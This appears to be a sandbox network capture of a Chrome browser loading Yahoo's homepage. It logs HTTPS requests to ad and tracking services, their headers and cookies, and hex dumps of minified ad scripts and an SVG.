2024-01-10 23:27:16 UTC	1252	IN	Data Raw: 53 74 72 69 6e 67 28 29 7d 3b 20 66 75 6e 63 74 69 6f 6e 20 43 61 28 61 2c 62 2c 63 29 7b 63 6f 6e 73 74 20 64 3d 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 41 3b 76 61 72 20 66 3d 28 63 3f 61 2e 6a 3a 62 29 5b 48 5d 2c 65 3d 49 28 66 29 2c 67 3d 21 31 3b 69 66 28 64 26 26 6f 61 29 7b 69 66 28 21 63 29 7b 62 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 62 29 3b 76 61 72 20 6d 3b 69 66 28 62 2e 6c 65 6e 67 74 68 26 26 4a 28 6d 3d 62 5b 62 2e 6c 65 6e 67 74 68 2d 31 5d 29 29 66 6f 72 28 67 3d 30 3b 67 3c 64 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 69 66 28 64 5b 67 5d 3e 3d 65 29 7b 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 62 5b 62 2e 6c 65 6e 67 74 68 2d 31 5d 3d 7b 7d 2c 6d 29 3b 62 72 65 61 6b 7d 67 3d 21 30 7d 65 3d 62 Data Ascii: String()}; function Ca(a,b,c){const d=a.constructor.A;var f=(c?a.j:b)[H],e=I(f),g=!1;if(d&&oa){if(!c){b=Array.prototype.slice.call(b);var m;if(b.length&&J(m=b[b.length-1]))for(g=0;g<d.length;g++)if(d[g]>=e){Object.assign(b[b.length-1]={},m);break}g=!0}e=b
2024-01-10 23:27:16 UTC	1252	IN	Data Raw: 37 29 2b 62 2b 22 26 61 64 75 72 6c 3d 22 3a 61 2b 62 3b 66 75 6e 63 74 69 6f 6e 20 48 61 28 61 2c 62 2c 63 29 7b 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 26 26 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 62 2c 63 2c 21 31 29 7d 3b 76 61 72 20 49 61 3d 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5b 5e 3a 2f 3f 23 2e 5d 2b 29 3a 29 3f 28 3f 3a 2f 2f 28 3f 3a 28 5b 5e 5c 5c 5c 5c 5c 5c 5c 5c 2f 3f 23 5d 2a 29 40 29 3f 28 5b 5e 5c 5c 5c 5c 5c 5c 5c 5c 2f 3f 23 5d 2a 3f 29 28 3f 3a 3a 28 5b 30 2d 39 5d 2b 29 29 3f 28 3f 3d 5b 5c 5c 5c 5c 5c 5c 5c 5c 2f 3f 23 5d 7c 24 29 29 3f 28 5b 5e 3f 23 5d 2b 29 3f 28 3f 3a 5c 5c 5c 5c 3f 28 5b 5e 23 5d 2a 29 29 3f 28 3f 3a 23 28 5b 5c 5c 5c 5c 73 5c 5c 5c 5c 53 5d 2a 29 29 3f 24 22 29 3b 66 75 6e 63 Data Ascii: 7)+b+"&adurl=":a+b;function Ha(a,b,c){a.addEventListener&&a.addEventListener(b,c,!1)};var Ia=RegExp("^(?:([^:/?#.]+):)?(?://(?:([^\\\\\\\\/?#])@)?([^\\\\\\\\/?#]?)(?::([0-9]+))?(?=[\\\\\\\\/?#]\|$))?([^?#]+)?(?:\\\\?([^#]))?(?:#([\\\\s\\\\S]))?$");func
2024-01-10 23:27:16 UTC	1252	IN	Data Raw: 68 2e 72 61 6e 64 6f 6d 28 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 50 61 28 61 2c 62 29 7b 69 66 28 61 29 66 6f 72 28 63 6f 6e 73 74 20 63 20 69 6e 20 61 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 63 29 26 26 62 28 61 5b 63 5d 2c 63 2c 61 29 7d 66 75 6e 63 74 69 6f 6e 20 51 61 28 61 3d 64 6f 63 75 6d 65 6e 74 29 7b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 52 61 28 61 2c 62 3d 6e 75 6c 6c 29 7b 57 61 28 61 2c 62 29 7d 66 75 6e 63 74 69 6f 6e 20 57 61 28 61 2c 62 29 7b 75 2e 67 6f 6f 67 6c 65 5f 69 6d 61 67 65 5f 72 65 71 75 65 73 74 73 7c 7c 28 75 2e 67 6f 6f 67 6c 65 5f 69 6d 61 67 65 5f 72 65 71 75 65 73 Data Ascii: h.random()}}function Pa(a,b){if(a)for(const c in a)Object.prototype.hasOwnProperty.call(a,c)&&b(a[c],c,a)}function Qa(a=document){return a.createElement("img")};function Ra(a,b=null){Wa(a,b)}function Wa(a,b){u.google_image_requests\|\|(u.google_image_reques
2024-01-10 23:27:16 UTC	1252	IN	Data Raw: 75 63 74 6f 72 28 61 2c 62 29 7b 74 68 69 73 2e 65 72 72 6f 72 3d 61 3b 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 62 2e 63 6f 6e 74 65 78 74 3b 74 68 69 73 2e 6d 73 67 3d 62 2e 6d 65 73 73 61 67 65 7c 7c 22 22 3b 74 68 69 73 2e 69 64 3d 62 2e 69 64 7c 7c 22 6a 73 65 72 72 6f 72 22 3b 74 68 69 73 2e 6d 65 74 61 3d 7b 7d 7d 7d 3b 63 6f 6e 73 74 20 63 62 3d 52 65 67 45 78 70 28 22 5e 68 74 74 70 73 3f 3a 2f 2f 28 5c 5c 5c 5c 77 7c 2d 29 2b 5c 5c 5c 5c 2e 63 64 6e 5c 5c 5c 5c 2e 61 6d 70 70 72 6f 6a 65 63 74 5c 5c 5c 5c 2e 28 6e 65 74 7c 6f 72 67 29 28 5c 5c 5c 5c 3f 7c 2f 7c 24 29 22 29 3b 76 61 72 20 64 62 3d 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 2c 62 29 7b 74 68 69 73 2e 67 3d 61 3b 74 68 69 73 2e 68 3d 62 7d 7d 2c 65 62 3d 63 6c 61 73 73 Data Ascii: uctor(a,b){this.error=a;this.context=b.context;this.msg=b.message\|\|"";this.id=b.id\|\|"jserror";this.meta={}}};const cb=RegExp("^https?://(\\\\w\|-)+\\\\.cdn\\\\.ampproject\\\\.(net\|org)(\\\\?\|/\|$)");var db=class{constructor(a,b){this.g=a;this.h=b}},eb=class

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.4	49994	172.64.151.101	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	952	OUT	GET /usermatch?s=183875&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&cb=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Didx%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26axid_e%3D%26ovsid%3D_UID_ HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1
2024-01-10 23:27:16 UTC	1361	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:16 GMT Content-Length: 0 Connection: close Location: /usermatch?cb=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fgpp%3D%26gpp_sid%3D%26cs%3D1%26vsid%3D3479308310180275000V10%26type%3Didx%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26axid_e%3D%26ovsid%3D_UID_&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&s=183875&C=1 CF-Ray: 8438b08d6f026feb-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:16 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPS=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:16 GMT; Max-Age=7776000; Secure; SameSite=None Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:16 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lVlLwpob3QVgnrB3Y7EkqkwjfcIBbtaOfyhFXc5cVpuNrU%2BF3HSdTkvWOVLccujFo9WHWZ0NOKTj4MOk43Kznm5N9NKL7ZnooMJmT1aZ%2BSXWREczmF2hfDBq57qnM2Eyq1MD6uBVSWwT3Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.4	49996	3.225.218.10	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	1838	OUT	GET /sp/v0/pixels?gdpr=false&euconsent=&us_privacy=1YNN&gpp=DBAA&gppSid=-1&referrer=https%3A%2F%2Fopus.analytics.yahoo.com%2Ftag%2Fopus-frame.html%3Freferrer%3Dhttps%3A%2F%2Fwww.yahoo.com%2F%26tbla_id%3D53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51%26gam_id%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26axids%3Dgam%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26dv360%3DeS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B%26ydsp%3Dy-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A%26gdpr%3Dfalse%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26us_privacy%3D1YNN%26reset_idsync%3D1 HTTP/1.1 Host: service.idsync.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://tag.idsync.analytics.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://tag.idsync.analytics.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z"
2024-01-10 23:27:16 UTC	373	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:16 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Cache-Control: no-cache Access-Control-Allow-Origin: https://tag.idsync.analytics.yahoo.com Access-Control-Allow-Credentials: true Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.94
2024-01-10 23:27:16 UTC	18	IN	Data Raw: 64 0d 0a 7b 22 70 69 78 65 6c 73 22 3a 5b 5d 7d 0d 0a Data Ascii: d{"pixels":[]}
2024-01-10 23:27:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.4	49999	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	1331	OUT	POST /_td_api/beacon/info?beaconSrc=HomepagePWA&bucket=drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless&eventName=svcWkrRegSuccess&rid=0gast8pipu9uc HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:16 UTC	1113	IN	HTTP/1.1 204 No Content referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-powered-by: Express content-security-policy-report-only: default-src 'self'; report-uri https://csp.yahoo.com/beacon/csp?src=fendr_beaconeater.media.yahoo.com date: Wed, 10 Jan 2024 23:27:16 GMT x-envoy-upstream-service-time: 1 server: ATS Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=41lulopipu9uk&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.4	49997	8.28.7.81	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	668	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=10958700&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	899	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=1; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=0:2; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Wed, 10 Jan 2024 23:27:15 GMT Transfer-Encoding: chunked Connection: close
2024-01-10 23:27:16 UTC	2351	IN	Data Raw: 39 32 33 0d 0a 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 70 6d 65 62 26 67 6f 6f 67 6c 65 5f 73 63 3d 31 26 67 6f 6f 67 6c 65 5f 68 6d 3d 72 78 6f 77 73 43 53 34 52 32 36 75 31 4c 36 4e 79 76 70 42 78 41 25 33 44 25 33 44 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 74 61 70 61 64 2e 63 6f 6d 2f 69 64 73 79 6e 63 2f 65 78 2f 72 65 63 65 69 76 65 3f 70 61 72 74 6e 65 72 5f 69 64 3d 33 33 37 31 26 70 61 72 74 6e 65 72 Data Ascii: 923PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pmeb&google_sc=1&google_hm=rxowsCS4R26u1L6NyvpBxA%3D%3D&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.tapad.com/idsync/ex/receive?partner_id=3371&partner

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.4	50000	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	599	OUT	GET /cv/apiv2/weather-svg/SHOWERS.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	794	IN	HTTP/1.1 200 OK x-amz-id-2: dQWcO/znh1RrMF/gbTrVZDc2ikfoDs+zv3vVhXOAx9GvwRqo9+3DMAb0mU4f8Lir6uj/fvvuM88= x-amz-request-id: NWM34X6Y4BCNJDH9 Date: Tue, 09 Jan 2024 15:00:21 GMT Last-Modified: Fri, 13 Nov 2020 21:27:14 GMT ETag: "b182d19798f0d66ca701301e28c0034a" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1087 Referrer-Policy: no-referrer-when-downgrade Age: 116816 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin
2024-01-10 23:27:16 UTC	1087	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 36 34 2e 32 37 38 25 22 20 79 31 3d 22 31 30 30 25 22 20 78 32 3d 22 36 34 2e 32 37 38 25 22 20 79 32 3d 22 31 2e 33 35 31 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 42 35 42 44 43 38 22 20 6f 66 66 73 65 74 3d 22 30 25 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a"> <stop stop-color="#B5BDC8" offset="0%"/> <stop stop

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.4	49998	172.253.63.132	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	857	OUT	GET /safeframe/1-0-40/html/container.html HTTP/1.1 Host: b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:16 UTC	707	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/html Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-gpt-scs" Report-To: {"group":"ads-gpt-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-gpt-scs"}]} Timing-Allow-Origin: * Content-Length: 6162 Date: Wed, 10 Jan 2024 23:27:16 GMT Expires: Thu, 09 Jan 2025 23:27:16 GMT Cache-Control: public, immutable, max-age=31536000 Last-Modified: Thu, 03 Nov 2022 19:10:08 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:16 UTC	545	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 61 66 65 46 72 61 6d 65 20 43 6f 6e 74 61 69 6e 65 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 66 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7d 3b 76 61 72 20 6e 3d 66 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="UTF-8"> <title>SafeFrame Container</title> <script>(function(){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var f=this\|\|self,h=function(a){return a};var n=f
2024-01-10 23:27:16 UTC	1252	IN	Data Raw: 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 67 6f 6f 67 23 68 74 6d 6c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 68 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 68 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 68 7d 29 7d 63 61 74 63 68 28 63 29 7b 66 2e 63 6f 6e 73 6f 6c 65 26 26 66 2e 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 63 2e 6d 65 73 73 61 67 65 29 7d 74 3d 61 7d 65 6c 73 65 20 74 3d 61 7d 72 65 74 75 72 6e 20 74 7d 3b 76 61 72 20 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 67 3d 62 61 3d 3d 3d 62 61 3f 61 3a 22 22 7d 3b 63 61 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 2b 22 22 7d 3b 76 61 72 20 62 61 3d 7b 7d 2c 64 61 3d 66 75 6e 63 74 69 Data Ascii: .createPolicy("goog#html",{createHTML:h,createScript:h,createScriptURL:h})}catch(c){f.console&&f.console.error(c.message)}t=a}else t=a}return t};var ca=function(a){this.g=ba===ba?a:""};ca.prototype.toString=function(){return this.g+""};var ba={},da=functi
2024-01-10 23:27:16 UTC	1252	IN	Data Raw: 74 68 69 73 2e 69 3d 22 26 22 3b 74 68 69 73 2e 68 3d 7b 7d 3b 74 68 69 73 2e 6f 3d 30 3b 74 68 69 73 2e 67 3d 5b 5d 7d 2c 7a 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 3b 63 5b 61 5d 3d 62 3b 72 65 74 75 72 6e 5b 63 5d 7d 2c 71 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 76 61 72 20 6b 3d 5b 5d 3b 6a 61 28 61 2c 66 75 6e 63 74 69 6f 6e 28 67 2c 41 29 7b 28 67 3d 70 61 28 67 2c 62 2c 63 2c 64 2c 65 29 29 26 26 6b 2e 70 75 73 68 28 41 2b 22 3d 22 2b 67 29 7d 29 3b 72 65 74 75 72 6e 20 6b 2e 6a 6f 69 6e 28 62 29 7d 2c 70 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 69 66 28 6e 75 6c 6c 3d 3d 